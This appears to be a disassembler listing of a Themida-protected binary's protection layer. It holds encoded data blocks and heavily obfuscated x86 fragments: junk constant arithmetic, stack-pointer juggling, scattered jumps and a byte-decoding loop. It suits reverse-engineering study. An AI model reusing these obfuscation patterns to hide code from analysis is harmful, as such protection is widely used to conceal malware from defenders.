dd 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h, 6482B2Dh
dd 0FF067400h, 48099595h, 0FCB58B06h, 8D06484Dh, 4A9DC785h
dd 8DD0FF06h, 48425085h, 0C7D0FF06h, 4813D185h, 106h, 9A58B00h
dd 8B064827h, 4830C5B5h, 0B9AD8B06h, 33064815h, 0CC2C0h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8C35545h
dd 8B1DB7A4h, 48306195h, 0EDBD8306h, 6482Eh, 4F840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 3F41C4C3h, 0FF89B655h, 48229D95h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0B5F2368h
dd 562C8B1Fh, 0BF0FC49Dh, 0B5BD83DFh, 64805h, 1DF850Fh
dd 9D8B0000h, 64815B1h, 30E5BD83h, 0F010648h, 1CC85h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 41CF2579h, 8B07C290h, 4802FD95h, 55BD8306h, 6480Ah
dd 197840Fh, 8B600000h, 482C15BDh, 0D3B70F06h, 4FBD8361h
dd 6484Eh, 17F840Fh, 0B5090000h, 6483035h, 27D19523h, 858D0648h
dd 64A9DC7h, 0DE9F5h, 0C5E80000h, 374CC6F6h, 0A472BBBh
dd 8B677CBBh, 484DFCB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 6B5652C5h, 66769AB9h
dd 0D0FFD08Bh, 0C620DB80h, 480FF985h, 6A5406h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 29B83EC3h, 41457F82h, 4E8h, 4EBEF400h, 0F8BA66FFh, 33B65070h
dd 424448Bh, 0AE9h, 0FC094900h, 23CD6A9Ch, 8BFEC032h, 0C8D0F00h
dd 0E9000000h, 7, 2D65EC16h, 89CF3DA6h, 60042444h, 0D38B6660h
dd 310F5250h, 0E861585Ah, 5, 6898037Fh, 8C0FD2h, 59000000h
dd 0F515861h, 0FF5AD3BFh, 480ED5B5h, 0F9B50906h, 8D064817h
dd 4838BA85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 2AAB7A68h, 0E873342Bh, 0Ch, 9D4F4F91h
dd 9C1E2783h, 8A10620Ch, 20D9D8Bh, 0FF5A0648h, 6AFCD0h
dd 5118D89h, 0FF6A0648h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0A8C35646h, 0C1B9D08Dh, 16C99D29h, 0D0FF0648h
dd 5B5FFF8h, 60064833h, 3179958Bh, 0FF610648h, 481AD995h
dd 6E906h, 7B830000h, 0DB8B2CCEh, 0FCB58BF9h, 6A06484Dh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 3B94C356h, 564DF861h, 5AD1BF0Fh, 8BD88AC3h
dd 481551B5h, 0D838BB06h, 0F60B7EBCh, 37840Fh, 9600000h
dd 4815ADB5h, 0B5895106h, 64826C5h, 6C6615Bh, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0B5894D40h, 64807A5h, 48589F9h, 6A06484Eh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 883DC355h, 83D0B70Fh, 840F00F8h, 2F0h, 58B0F60h, 0B8000000h
dd 607F2251h, 0B861h, 44B30000h, 0F00F883h, 9F84h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0D2059E50h, 0F8832644h, 5F850F02h, 8B000000h, 4827BD9Dh
dd 7F858D06h, 0FC064844h, 9292Dh, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 81B190A6h
dd 97E940DBh, 8B66903Ch, 890F50D1h, 16h, 0FE951h, 0E8B10000h
dd 44313174h, 0FB370CBFh, 0E2F6D930h, 0F905B71h, 80C3D9BFh
dd 0B88FE6h, 29000000h, 482FADB5h, 23AE906h, 9D330000h
dd 648231Dh, 1B8h, 85895300h
dd 6481455h, 84BD8D5Bh, 6A064844h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B915C355h
dd 10E9461Ch, 8C000000h, 8B5298FDh, 6B7DBB91h, 302A4E9Eh
dd 0E9B7659Eh, 0E6h, 11A9958Bh, 95310648h, 64832A1h, 0F02F883h
dd 4985h, 0F9BD0900h, 8D064804h, 48467CBDh, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 4E77DA2Bh, 0E9EDF801h, 0Fh, 95A6D57Ah, 61A9A6D1h, 545ED61Eh
dd 0E9350E68h, 8Ah, 0F883D18Bh, 57850F03h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 1CFC357h, 0BD8D006Fh, 6484810h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 0F4C35545h, 0E200A0C0h, 0FD5D818Bh
dd 1475BD89h, 2BE90648h, 66000000h, 0F883D98Bh, 1F850F05h
dd 66000000h, 77E9D98Bh, 0E9000000h, 12h, 7A356C38h, 1B77CDF6h
dd 9F4A6B69h, 0A017DF01h, 0BA57F6B1h, 485B6DB1h, 961351B9h
dd 83F08A30h, 840F003Fh, 4Ah, 0C149D381h, 0F3067C3h, 20219D0Bh
dd 0C9D10648h, 6A47DE8Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 5E97C355h, 66396EABh
dd 0F5D71BAh, 289h, 0E95A5200h, 0FFFFFFB3h, 9F98529h, 0F8830648h
dd 99850F05h, 89000000h, 4828118Dh, 0D98C6606h, 10E8h
dd 779D1B00h, 19CE9EEBh, 0D385EE61h, 0F72D1C8Eh, 55D280C8h
dd 4C1F65Ah, 3C850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 699AFAC3h, 11B98074h
dd 0B8h, 41E9F900h, 8B000000h, 481C2D95h, 3840F06h, 66000000h
dd 858BDE8Bh, 64822E5h, 0E0FFE5B3h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 94C35242h, 0D71404A1h, 6650DC75h
dd 5BDB87BBh, 1AD9BD83h, 0F000648h, 11085h, 0F7E38100h
dd 8A72473Bh, 76BA90DAh, 5061F65Ch, 90D38B66h, 0C6DE8B66h
dd 480FF985h, 9D684506h, 8B239277h, 240481DEh, 6ADFF1CCh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5CC35646h
dd 3D9D8BD0h, 0FF06480Ch, 480ED5B5h, 91852906h, 8D064813h
dd 4838BA85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 6F9EDAE0h, 5169DE47h, 51C7D281h
dd 0FF5B59B7h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 28F364A1h, 8BEEE3CCh
dd 48312D95h, 0E99D8B06h, 89064813h, 481AD985h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 57B222F7h, 0A5EE4105h, 7E9h, 25934200h, 0A5C28E41h
dd 8370EA81h, 0F5864BCh, 689h, 0DECA8100h, 6049B713h, 751B533h
dd 95090648h, 648281Dh, 53BD8361h, 6484Eh, 4B840Fh, 11E90000h
dd 21000000h, 4C549212h, 46E9DA5Dh, 0F72CDADEh, 4CB0E651h
dd 3305B5FFh, 0BD890648h, 648065Dh, 0CE9h, 2BBC3700h, 0D45FE636h
dd 2251BB75h, 0D995FFBCh, 0F06481Ah, 681h, 4D958B00h, 8906482Ch
dd 4814E995h, 0F88306h, 10F850Fh, 12E90000h, 7F000000h
dd 59ED8446h, 5D5DA15Fh, 0AFE7D4E1h, 8B06B56Eh, 91BD8345h
dd 64800h, 0B3840Fh, 0BB660000h, 0B5FF30B8h, 6480091h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D9C35545h
dd 0F17428EBh, 4D95314Bh, 0E9064800h, 14h, 8691FCECh, 4A9CDC5Dh
dd 3E442A1Ah, 45CC0A4Eh, 0D01355B0h, 1B8h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 11222462h, 0C933F042h, 9D09F878h, 6480655h, 1B7E9h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 3160ABD9h, 480BADB5h, 0AE906h, 0A1E40000h
dd 4AA4A134h, 0D8053C92h, 5B5FF61h, 89064833h, 480E75BDh
dd 5B5FF06h, 0F064833h, 0B589DBB7h, 6483125h, 1AD9B5FFh
dd 9D2B0648h, 648297Dh, 2BB1B531h, 51E90648h, 29000001h
dd 480A2DBDh, 0B5315F06h, 6481451h, 15D5BD83h, 0F000648h
dd 9B85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 3584CEA3h, 1A399D8Bh, 85C60648h
dd 6480FF9h, 0E281664Dh, 0B4680776h, 8B885FB5h, 240481DEh
dd 1BD5C0F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 4FC35747h, 0DE9676C3h, 0BD443FAAh, 2DB5FFE7h, 8106482Fh
dd 0E6B95FDAh, 0BA858D47h, 31064838h, 4829498Dh, 0E9D0FF06h
dd 9, 0D6450235h, 0FB300D4Bh, 0D585892Bh, 80064815h, 9D8B16DAh
dd 6480D99h, 0B8h, 65852900h, 89064831h, 484DFCBDh, 61BD8906h
dd 81064830h, 1BD971F3h, 0FC00B06h, 3184h, 8D8B6000h, 64808E9h
dd 6AE961h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 3CAB94C3h, 23919D8Bh, 0B5FF0648h
dd 6481AD9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 29C35242h, 858D1AE2h, 64A9DC7h, 8820Fh, 860F0000h
dd 2, 0F50D18Bh, 28Dh, 89D08B00h, 41B62404h, 0BD8D5650h
dd 64854F7h, 79DC8D8Dh, 0BCB80648h, 2B748323h, 0D00730CFh
dd 754947C8h, 83585EF8h, 480091BDh, 6740006h, 0CED8D8Bh
dd 0C9330648h, 0B8h, 0FC00B00h, 9984h, 2DBD8300h, 6482Bh
dd 95FF0674h, 6480995h, 0B8h, 75C00B00h, 4BD8309h, 106484Eh
dd 0BD830974h, 6484E04h, 8B0E7502h, 484DFCB5h, 0C7858D06h
dd 0FF064A9Dh, 50858DD0h, 0FF064842h, 0B9BD83D0h, 2064804h
dd 0A58B2F75h, 6482709h, 91858Bh, 4890648h, 0D185C724h
dd 1064813h, 8B000000h, 484E00B5h, 0B9AD8B06h, 0B8064815h
dd 1, 0EB000CC2h, 0D185C700h, 1064813h, 8B000000h, 482709A5h
dd 0C5B58B06h, 8B064830h, 4815B9ADh, 0C2C03306h, 0BD83000Ch
dd 6482EEDh, 830F7400h, 48229DBDh, 6740006h, 229D95FFh
dd 0B58B0648h, 6484DFCh, 7E8C3h, 799F0000h, 1609D34Eh
dd 14E929h, 0F87A0000h, 109B9ABCh, 0D89E2DEDh, 0C741BCD5h
dd 0E76F3Eh, 0E95A3723h, 10h, 1EC2B1D4h, 0D5874DF1h, 9C092921h
dd 6AF1E5E1h, 0BAh, 0DFB70F00h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_540FCC
; ---------------------------------------------------------------------------
loc_540FCA: ; CODE XREF: Themida_:00540FCFj
inc eax
inc edi
loc_540FCC: ; CODE XREF: Themida_:00540FC8j
cmp byte ptr [edi], 0
jnz short loc_540FCA
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_540FFB
; ---------------------------------------------------------------------------
loc_540FD8: ; CODE XREF: Themida_:00540FFDj
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_540FF0
; ---------------------------------------------------------------------------
loc_540FED: ; CODE XREF: Themida_:00540FF3j
mul ebx
dec esi
loc_540FF0: ; CODE XREF: Themida_:00540FEBj
cmp esi, 0
ja short loc_540FED
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_540FFB: ; CODE XREF: Themida_:00540FD6j
or eax, eax
jnz short loc_540FD8
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
db 6Ah, 0, 57h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 9D09AE76h, 6481601h, 0E8D68B66h, 0Ch, 0C60E9B68h, 0E8657914h
dd 0AD9215E8h, 23BDB589h, 665A0648h, 0C18BDE8Bh, 218FAE9h
dd 59003F00h, 2, 5A99E000h, 5A9ED200h, 59002800h, 5A9ED202h
dd 12FF6800h, 24600h, 200h, 100h, 300h, 0B94BD00h, 0FAh
dd 4 dup(0)
dd 54924900h, 54793D00h, 542A4100h, 54D9D400h, 5447BD00h
dd 546A1900h, 54ACC900h, 541AF200h, 5488FF00h, 54719400h
dd 547C8500h, 546C7000h, 5455BB00h, 54889300h, 546D2800h
dd 54BB9500h, 54555F00h, 54AA6E00h, 54340E00h, 54838100h
dd 546E8700h, 54817900h, 5436A600h, 543FDA00h, 54A5F700h
dd 542A6000h, 54199700h, 5490FA00h, 54CA7200h, 543AE600h
dd 544F0000h, 54290900h, 54292F00h, 5499F700h, 54BDE300h
dd 54C85200h, 547DCB00h, 54D82C00h, 54220C00h, 545A8E00h
dd 54D02400h, 54C02E00h, 549DE100h, 5487F000h, 545FEB00h
dd 5481C000h, 54366400h, 54BD5E00h, 54C5E800h, 547D6100h
dd 546A8700h, 54AAA700h, 54B2A200h, 54ABBD00h, 5421D700h
dd 546B0B00h, 5483FE00h, 54980D00h, 549B2000h, 54926D00h
dd 54524400h, 54752600h, 5433D300h, 54763700h, 54A75100h
dd 54295200h, 54593C00h, 548F0200h, 54339A00h, 548C0A00h
dd 54C31D00h, 54197500h, 54AA3C00h, 54B81C00h, 5445C300h
dd 54686E00h, 54B1BB00h, 5439D200h, 544F2900h, 54AF7B00h
dd 54BA1B00h, 54BC7400h, 5488C000h, 54C93E00h, 546D7A00h
dd 543F2400h, 5425EC00h, 54D6EA00h, 542A4A00h, 54B03600h
dd 54880A00h, 54575200h, 5427BD00h, 544A0300h, 544ED100h
dd 54807B00h, 542EFE00h, 5487E800h, 546C8900h, 54513000h
dd 54D94E00h, 54195000h, 54D0AA00h, 54352A00h, 545A5800h
dd 54BDD200h, 54212300h, 5482EB00h, 5463E700h, 54C9B800h
dd 54BB0300h, 54C18800h, 54712500h, 541B0500h, 54900B00h
dd 541C7900h, 54176C00h, 54A4FC00h, 549DAF00h, 54A08500h
dd 548BF000h, 543F6000h, 54954A00h, 54CED600h, 54B0E300h
dd 543FAF00h, 54462600h, 54B3DC00h, 5497D300h, 549DBD00h
dd 54725A00h, 54569F00h, 54A2E500h, 548B2A00h, 54C5A600h
dd 54513D00h, 5453BC00h, 545CE800h, 549F6700h, 54C53000h
dd 54D21B00h, 54CF5F00h, 5439DC00h, 54D99400h, 54527100h
dd 54625400h, 54764F00h, 542B7700h, 542BEA00h, 54A26600h
dd 54994A00h, 542D3400h, 5481FB00h, 54A04A00h, 54282700h
dd 54800C00h, 54427900h, 5469DD00h, 54CD6E00h, 546ABB00h
dd 547F9200h, 54BE8100h, 544C4B00h, 5485A500h, 54AEA900h
dd 5422A800h, 5455D000h
db 0
; ---------------------------------------------------------------------------
loc_541331: ; CODE XREF: Themida_:005631A6j
; Themida_:0056D782j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6487E7Ch
mov eax, edi
add edi, 6487B94h
cmp eax, [edi+2Ch]
jnz short loc_54134F
jmp short loc_541362
; ---------------------------------------------------------------------------
loc_54134F: ; CODE XREF: Themida_:0054134Bj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_54135E
; ---------------------------------------------------------------------------
loc_541359: ; CODE XREF: Themida_:00541360j
add [edi+ecx*4+40h], eax
dec ecx
loc_54135E: ; CODE XREF: Themida_:00541357j
or ecx, ecx
jnz short loc_541359
loc_541362: ; CODE XREF: Themida_:0054134Dj
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_54136F: ; CODE XREF: Themida_:00541376j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_54136F
loc_541378: ; CODE XREF: Themida_:loc_5419D8j
; Themida_:loc_542605j ...
lodsb
xor al, bl
jmp loc_547019
; ---------------------------------------------------------------------------
a1S db '1ßéÒ¼',0
dw 0B900h
aAYs2i db ' ,',8,'<)ÊYé2‰',0
align 4
dd 8124148Bh, 4C4h, 2710E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5413A2: ; CODE XREF: Themida_:00542F85j
sub esp, 4
mov [esp], ebx
push 200000h
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
and eax, ebx
jmp loc_545F07
; ---------------------------------------------------------------------------
dw 0B9h
dd 21000001h, 2434FFC8h, 1009E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5413DA: ; CODE XREF: Themida_:00546915j
push edi
push edx
mov edx, 412D7B41h
add edx, 3503542Ch
or edx, 67E20B42h
xor edx, 1E00C751h
mov edi, edx
jmp loc_544B6D
; ---------------------------------------------------------------------------
dw 5B66h
dd 80D7B652h, 94E948F6h
db 9Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_541407: ; CODE XREF: Themida_:00549006j
mov ecx, ebp
pop ebp
jmp loc_5494D9
; ---------------------------------------------------------------------------
db 59h
dd 4C181h, 0E4E90000h, 0F600006Bh, 5E8C0D8h, 0CAE9D0F6h
dd 10000AFh, 24048BC5h, 5704C483h, 2BFh, 5FFD0100h, 4EC81h
dd 2C890000h, 2474FF24h, 242C8B04h, 8F04C483h, 248B2404h
dd 4D36624h, 1DE99C24h, 8BFFFFFFh, 43E92424h
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_541463: ; CODE XREF: Themida_:0054A3C1j
shr ecx, 5
jmp loc_547189
; ---------------------------------------------------------------------------
db 0BAh
dd 75F033E3h, 4E5AD629h, 74DCE9h, 243C8700h, 4EC835Ch
dd 0E9241489h, 5D56h, 0E924148Bh, 2839h
; ---------------------------------------------------------------------------
loc_541490: ; CODE XREF: Themida_:0054CF8Cj
pop edx
xor ebp, ebx
pop ebx
neg ebp
add ebp, 34E92A2Fh
sub ebp, 48FB0E21h
and eax, ebp
pop ebp
jmp loc_549EDD
; ---------------------------------------------------------------------------
loc_5414AA: ; CODE XREF: Themida_:0054C437j
push esp
jmp loc_54BC13
; ---------------------------------------------------------------------------
dd 8C15E95Bh, 0BDE90000h, 52FFFFFEh, 2D06856h, 348B2529h
dd 0C1ECE924h, 215E0000h, 2434FFD0h, 0E924148Bh, 1639h
; ---------------------------------------------------------------------------
loc_5414D8: ; CODE XREF: Themida_:005466E0j
add bh, cl
pop ecx
sub ch, bh
pop ebx
add ch, 38h
inc ch
xor ch, 5Dh
jmp loc_54AA4A
; ---------------------------------------------------------------------------
db 51h
dd 827B54B9h, 81D9F77Ah, 9E6961F1h, 59CE0128h, 4F45E9h
dd 81DAF700h, 0B94341EAh, 0BF28121h, 29B61441h, 0C8295AD0h
dd 90269D05h, 240C8B26h, 65AA68h, 242C8900h, 0BCE9E589h
dd 81000006h, 2E9h, 240C8700h, 6624248Bh, 66240C89h, 0E9C8B60Fh
dd 3C62h, 0F281425Bh, 70AE7605h, 0AC9F281h, 0D0292328h
dd 5624148Bh, 0C681E689h, 4, 8704C683h, 515C2434h, 0C181E189h
dd 4, 0A868E9h, 2EFC100h, 0AF9AEF81h, 0F929E511h, 35A2E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_541586: ; CODE XREF: Themida_:005484C4j
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_54B49E
; ---------------------------------------------------------------------------
db 31h, 0D8h, 5Bh
dd 30FFC331h, 0FFFDCBE9h, 241C89FFh, 1280E9h, 81CE0100h
dd 985BE7C6h, 0A365E97Fh, 48F0000h, 24248B24h, 148AE9h
dd 54B6B800h, 4481121Fh, 765C0424h, 44016276h, 6C810424h
dd 765C0424h, 29586276h, 0BA522404h, 121F54B6h, 4245429h
dd 0B5B8E9h, 5B7ABF00h, 0F7811FECh, 6CF65BE4h, 815FFB89h
dd 0CA4A55C2h, 81DA297Eh, 0CA4A55EAh, 2C685B7Eh, 89000047h
dd 72BB241Ch, 0D1658F0Eh, 83BE56E3h, 8138FD12h, 0A45220C6h
dd 5EF331EFh, 5F2EE9h, 241C8B00h, 0E9E08950h, 7D38h
; ---------------------------------------------------------------------------
loc_541644: ; CODE XREF: Themida_:00544785j
mov eax, 7955046Dh
shl eax, 2
jmp loc_54CE71
; ---------------------------------------------------------------------------
db 81h, 0C2h, 0F6h
dd 8115CA45h, 0E870A2C2h, 182AE906h, 48B0000h, 4C48324h
dd 61A2E9h, 24148900h, 2BAh, 0A7EB8100h, 1601638h, 0A7C381D3h
dd 0E9601638h, 80D1h, 4C781h, 0C7830000h, 243C8704h, 4EC835Ch
dd 0B9240C89h, 51414327h, 2E45E181h, 0E981062Bh, 0AD068A4h
dd 68F987h, 29000000h, 875F243Ch, 7AA5E9F9h, 1BA0000h
dd 0E9000000h, 0B9B1h, 8C5AE953h, 81660000h, 1B452404h
dd 55C8E9h, 4B496800h, 0C890000h, 0B5D2E924h, 0F6810000h
dd 7737F84Ah, 348BF389h, 4C48324h, 7AFCB850h, 0E0C17C90h
dd 326FE906h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_541702: ; CODE XREF: Themida_:00545FE6j
add esi, 4
xchg esi, [esp]
pop esp
push dword ptr [edi+eax*4]
push ebp
push ecx
push edi
mov edi, 57782206h
not edi
not edi
shr edi, 4
jmp loc_549989
; ---------------------------------------------------------------------------
db 8Bh
dd 53E9241Ch, 8100009Eh, 4C6h, 24348700h, 24048F5Ch, 0B283E9h
dd 0F9BE5600h, 0C1313C03h, 0EE8107E6h, 105D6640h, 0E1DFC681h
dd 0F12974D0h, 0A1C1815Eh, 0E92EE129h, 9F76h, 8904EC83h
dd 0E9522424h, 9945h, 24048B66h, 14D768h, 867BE900h, 0C3010000h
dd 8F7AE9h, 0D5BD5500h, 0E920CF3Ah, 97Bh, 2474FF50h, 48F5804h
dd 0DFE95C24h, 300000B9h, 0F3E953D8h, 81000042h, 4C4h
dd 60BD5500h, 5725E40Bh, 4B7F13BFh, 8BFD3139h, 0C483243Ch
dd 70C58104h, 0E90F31FCh, 34h, 4DC3E95Eh, 59660000h, 95B05066h
dd 5866C300h, 0EB80C328h, 0B1515095h, 29B0501Ah, 31E9B92Ch
dd 59000078h, 28E7C280h, 0ADEAE9EAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5417F6: ; CODE XREF: Themida_:00546039j
push ebx
jmp loc_542672
; ---------------------------------------------------------------------------
dd 2D5DE801h, 8A377D3h, 0D305D801h, 2D08A377h, 2BE170E3h
dd 0C1F4E9h, 777B6800h, 1E918B4h
db 5Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54181F: ; CODE XREF: Themida_:005421FBj
mov ebp, [esp]
add esp, 4
push 417727FFh
pop edx
add edx, 5A184A8Dh
add edx, 64FD70EBh
jmp loc_54B3D5
; ---------------------------------------------------------------------------
loc_54183C: ; CODE XREF: Themida_:00543565j
add ebp, ecx
pop ecx
xchg ebp, [esp]
jmp loc_542C2C
; ---------------------------------------------------------------------------
db 52h
dd 7D3835BAh, 76E28157h, 81411F76h, 0A5436BE2h, 0A22E976h
dd 0E0C10000h, 0AC9E906h, 0D5F70000h, 0ED81D5F7h, 0BA75963Bh
dd 0ECE9EA01h, 81000067h, 4C3h, 4EB8100h, 0E9000000h, 0B8C9h
dd 57240489h, 0BE05CABFh, 91EF816Fh, 530582E5h, 1D57E9h
dd 68505200h, 31E36131h, 5AE95058h, 0E900003Eh, 0FFFFFAC8h
dd 2B37E95Eh, 27050000h, 0F767602Ch, 8472E9D8h, 0C890000h
dd 62886824h, 29593D46h, 5904244Ch, 83240C8Bh, 0A56804C4h
dd 8900007Ah, 6853243Ch, 41E30133h, 0FFFD50E9h, 4EC83FFh
dd 54242C89h, 0A6CDE9h
db 0
; ---------------------------------------------------------------------------
loc_5418F5: ; CODE XREF: Themida_:00548489j
shr ebp, 6
push esi
mov esi, 20901002h
push ebx
push eax
mov eax, 669E0F0Eh
mov ebx, 0F622659Dh
add ebx, eax
jmp loc_54B02D
; ---------------------------------------------------------------------------
db 5Bh, 83h, 0C4h
dd 57ECE904h, 0F7530000h, 505B2414h, 0C60219B8h, 51E82538h
dd 68E9018Ch
db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54192F: ; CODE XREF: Themida_:0054C9FBj
or edi, 59B23981h
jmp loc_54A51C
; ---------------------------------------------------------------------------
loc_54193A: ; CODE XREF: Themida_:00543973j
mov esi, esp
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
jmp loc_54D823
; ---------------------------------------------------------------------------
dd 9C241CF6h, 0FFFF52E9h, 4C481FFh, 33000000h, 0C31240Ch
dd 240C3324h, 1489665Ch, 9C506624h, 0FFFA03E9h, 1C77FFFFh
dd 6659669Dh, 9C2414D3h, 2ADE9h, 0ED815900h, 640D6E0Fh
dd 4572C181h, 4BE923A7h, 0F70000C0h, 0E99C241Ch, 0FFFFF9D8h
dd 8158C601h, 4C6h, 24348700h
db 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 57F9h
mov [esp], eax
mov eax, 7E6C434Eh
add eax, 78B451C2h
sub eax, 0F720950Ch
add ebp, eax
pop eax
jmp loc_54834D
; ---------------------------------------------------------------------------
loc_5419CF: ; CODE XREF: Themida_:0054ACABj
sub [esp+4], eax
jmp loc_54C537
; ---------------------------------------------------------------------------
loc_5419D8: ; CODE XREF: Themida_:0054C3D4j
jmp loc_541378
; ---------------------------------------------------------------------------
db 52h, 0E9h, 44h
dd 5B00001Ah, 4B29E9h, 24048900h, 1CE95854h, 1000056h
dd 56515DEEh, 97320B68h, 0EE815E68h, 0B20568Eh, 2342E9h
db 0
; ---------------------------------------------------------------------------
loc_541A09: ; CODE XREF: Themida_:0054C971j
xor edx, 8F573680h
xor eax, edx
pop edx
xor eax, 664140B4h
sub eax, 2F02E9EBh
sub edx, eax
mov eax, [esp]
add esp, 4
xor ebp, edx
pop edx
mov ecx, ebp
pop ebp
xor eax, ecx
jmp loc_5428B1
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 51E08950h, 1D3638B9h, 0CCC1810Fh, 1F0E2C9h, 0B5E9E9C8h
dd 0E94E0000h, 45ADh, 0D7C1815Dh, 898F6AA0h, 0D30159CAh
dd 0E924148Bh, 7CCh, 8324148Bh, 5CE904C4h
db 4Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_541A6F: ; CODE XREF: Themida_:0054701Ej
mov [esp], edx
jmp loc_54BE87
; ---------------------------------------------------------------------------
loc_541A77: ; CODE XREF: Themida_:0054AB9Cj
push esp
pop edx
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
shr eax, 0Bh
xor ecx, eax
jmp loc_54BBCD
; ---------------------------------------------------------------------------
dw 0CD01h
dd 3D75C581h, 0ED815391h, 76FE2F2Dh, 242C8759h, 39D9685Ch
dd 14890000h, 22FEBA24h, 0E942732Fh, 281Bh
; ---------------------------------------------------------------------------
loc_541ABC: ; CODE XREF: Themida_:005483C1j
mov ecx, 0F764ED0h
add eax, ecx
pop ecx
add eax, 1F95B3Ah
add eax, 24313FC1h
mov esi, [esp]
push 3035h
mov [esp], ebx
mov ebx, esp
jmp loc_5451EE
; ---------------------------------------------------------------------------
dd 2474FF57h, 48F5F04h, 34FF5C24h, 0BA3AE924h, 8B660000h
dd 1D68240Ch, 89000010h, 0E2892414h, 3323E9h, 48B6600h
dd 0E1895124h, 0AE4AE9h, 3BF18100h, 52A56A4h, 116A2483h
dd 531FE953h, 875E0000h, 685C243Ch, 4D2Fh, 54243C89h, 0A04E9h
dd 242C8B00h, 8704C483h, 215C240Ch, 0E99C2404h, 0FFFFF830h
dd 241C8B66h, 0E902C483h, 85F1h, 54240C89h, 0FC23E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541B5E: ; CODE XREF: Themida_:005425B8j
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_54D383
; ---------------------------------------------------------------------------
dw 0F800h
dd 992C5B66h, 9904D828h, 5366512Ch, 0D828B1B3h, 68665B66h
dd 896660CAh, 67B22414h, 0D0288504h, 7035E9h, 58C22900h
dd 570CB951h, 0B5E9663Bh
db 24h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_541BAF: ; CODE XREF: Themida_:0054758Cj
pop ecx
push edx
mov edx, 0ED9723Ah
sub edx, 30951AD0h
neg edx
add edx, 21F07AE1h
